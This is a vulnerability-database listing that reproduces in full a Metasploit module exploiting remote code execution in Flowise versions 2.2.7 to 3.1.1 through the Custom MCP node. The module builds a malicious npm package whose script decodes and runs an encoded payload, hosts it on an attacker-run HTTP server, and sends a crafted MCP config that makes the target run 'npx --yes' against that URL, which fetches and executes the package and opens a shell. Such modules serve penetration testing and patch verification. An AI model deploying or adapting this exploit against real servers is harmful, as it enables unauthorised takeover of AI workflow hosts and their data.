Lucene search
+L

...[ More ]

🗓️ 21 Aug 2026 00:00:00Reported by cn-panda, ABDUL JAFAROVType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 4 Views

RCE in Flowise 2.2.7 to 3.1.1 via Custom MCP node npx --yes executing malicious npm package.

Related
Code
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HTTP::Flowise
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Flowise MCP Server Remote Code Execution',
            'Description' => %q{
              Flowise versions from 2.2.7 prior to 3.1.2 are vulnerable to remote code execution
              through the Custom MCP (Model Context Protocol) node configuration.
    
              The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint,
              which accepts arbitrary command and argument configurations for MCP server
              initialization. An authenticated attacker can abuse the npx --yes flag to
              fetch and execute a malicious npm package from an attacker-controlled HTTP
              server, achieving arbitrary command execution on the Flowise host.
    
              This module creates a malicious npm package tar archive in memory, serves it
              via Metasploit's built-in HTTP server, then triggers the vulnerable endpoint
              to download and execute the package via npx.
    
              To interact with the obtained shell, use the command: sessions -i <id>
              (for example: sessions -i 1).
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'cn-panda', # Vulnerability discovery
              'ABDUL JAFAROV <https://github.com/jafarov007>' # Metasploit module
            ],
            'References' => [
              ['CVE', '2026-56274'],
              ['CWE', '78'],
              ['GHSA', 'GHSA-m99r-2hxc-cp3q']
            ],
            'DisclosureDate' => '2026-06-23',
            'Targets' => [
              ['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Flowise base path', '/']),
          OptString.new('USERNAME', [false, 'Flowise username (email)']),
          OptString.new('PASSWORD', [false, 'Flowise password']),
          Opt::RPORT(3000)
        ])
      end
    
      def check
        version = flowise_get_version
        return Exploit::CheckCode::Unknown('Unable to determine Flowise version') unless version
    
        report_service(host: rhost, port: rport, name: 'http', proto: 'tcp', info: "Flowise #{version}")
    
        if version < Rex::Version.new('2.2.7')
          return Exploit::CheckCode::Safe("Flowise #{version} does not feature customMCP support")
        end
    
        if version < Rex::Version.new('3.1.2')
          return Exploit::CheckCode::Appears("Flowise #{version} detected")
        end
    
        Exploit::CheckCode::Safe("Target is running patched version #{version}")
      end
    
      # Build the malicious npm package tar archive entirely in memory.
      # npm/npx expects tar entries under a "package/" prefix directory.
      def create_tar_package
        print_status('Building malicious npm package tar in memory...')
    
        index_js = <<~JS
          #!/usr/bin/env node
          const { execSync } = require('child_process');
          try { execSync(Buffer.from('#{Rex::Text.encode_base64(payload.encoded)}','base64').toString(), { stdio: 'inherit' }); } catch (e) {}
        JS
    
        package_json = {
          'name' => 'attacker-mcp-pkg',
          'version' => '1.0.0',
          'bin' => {
            'attacker-mcp-pkg' => './index.js'
          }
        }.to_json
    
        tar_io = StringIO.new
    
        Rex::Tar::Writer.new(tar_io) do |tar|
          tar.add_file('package/package.json', 0o644) do |f|
            f.write(package_json)
          end
    
          tar.add_file('package/index.js', 0o755) do |f|
            f.write(index_js)
          end
        end
    
        tar_io.seek(0)
        data = tar_io.read
        tar_io.close
    
        print_good("Tar package built in memory (#{data.bytesize} bytes)")
        data
      end
    
      # HttpServer callback -- serves the tar package to npx.
      # Receives requests matching the auto-generated URIPATH.
      def on_request_uri(cli, request)
        print_good("Serving malicious tar package to #{cli.peerhost} (#{request.method} #{request.uri})")
        send_response(cli, @tar_data, {
          'Content-Type' => 'application/x-tar',
          'Content-Disposition' => 'attachment; filename=msf.tar'
        })
      end
    
      # Ensure randomly generated URIPATH contains only lower-case characters for npx compatibility
      def random_uri
        '/' + Rex::Text.rand_text_alpha_lower(rand(6..15))
      end
    
      # Called automatically by HttpServer once the server is ready.
      # This is where we perform the client-side attack.
      def primer
        @tar_data = create_tar_package
    
        if get_resource != get_resource.downcase
          hardcoded_uripath(get_resource.downcase)
        end
    
        if flowise_requires_auth?
          print_status("Authenticating as #{datastore['USERNAME']}...")
          flowise_login(datastore['USERNAME'], datastore['PASSWORD'])
        end
    
        report_service(host: rhost, port: rport, name: 'http', proto: 'tcp')
        send_exploit_payload
      end
    
      def send_exploit_payload
        tar_url = get_uri.downcase
    
        print_status("Sending malicious MCP node config (tar URL: #{tar_url})...")
    
        mcp_server_config = {
          'command' => 'npx',
          'args' => ['--yes', tar_url]
        }
    
        node_data = {
          'loadMethods' => {},
          'label' => 'Custom MCP',
          'name' => 'customMCP',
          'version' => 1.1,
          'type' => 'Custom MCP Tool',
          'icon' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/customMCP.png',
          'category' => 'Tools (MCP)',
          'description' => 'Custom MCP Config',
          'inputs' => {
            'mcpServerConfig' => mcp_server_config.to_json,
            'mcpActions' => ''
          },
          'baseClasses' => ['Tool'],
          'filePath' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/CustomMCP.js',
          'inputAnchors' => [],
          'inputParams' => [
            {
              'label' => 'MCP Server Config',
              'name' => 'mcpServerConfig',
              'type' => 'code',
              'hideCodeExecute' => true,
              'hint' => {
                'label' => 'How to use',
                'value' => "\nYou can use variables in the MCP Server Config with double curly braces `{{ }}` and prefix `$vars.<variableName>`."
              },
              'placeholder' => "{\n    \"command\": \"npx\",\n    \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}",
              'id' => 'customMCP_0-input-mcpServerConfig-code',
              'display' => true
            },
            {
              'label' => 'Available Actions',
              'name' => 'mcpActions',
              'type' => 'asyncMultiOptions',
              'loadMethod' => 'listActions',
              'refresh' => true,
              'id' => 'customMCP_0-input-mcpActions-asyncMultiOptions',
              'display' => true
            }
          ],
          'outputs' => {},
          'outputAnchors' => [
            {
              'id' => 'customMCP_0-output-customMCP-Tool',
              'name' => 'customMCP',
              'label' => 'Custom MCP Tool',
              'description' => 'Custom MCP Config',
              'type' => 'Tool'
            }
          ],
          'id' => 'customMCP_0',
          'selected' => true,
          'loadMethod' => 'listActions',
          'previousNodes' => [],
          'currentNode' => {
            'id' => 'customMCP_0',
            'name' => 'customMCP',
            'label' => 'Custom MCP',
            'inputs' => {
              'mcpServerConfig' => mcp_server_config.to_json,
              'mcpActions' => ''
            }
          }
        }
    
        res = flowise_send_custommcp_request(node_data)
        if res
          print_good('Exploit payload delivered successfully')
          print_status('Waiting for npx to fetch tar and execute payload...')
        else
          print_warning('Exploit request failed')
        end
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Aug 2026 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 48.7
CVSS 3.19.9
EPSS0.03273
SSVC
4